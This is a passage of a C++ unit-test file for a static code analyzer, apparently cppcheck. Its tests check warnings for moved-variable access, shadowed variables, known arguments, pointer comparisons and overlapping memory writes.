[accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior 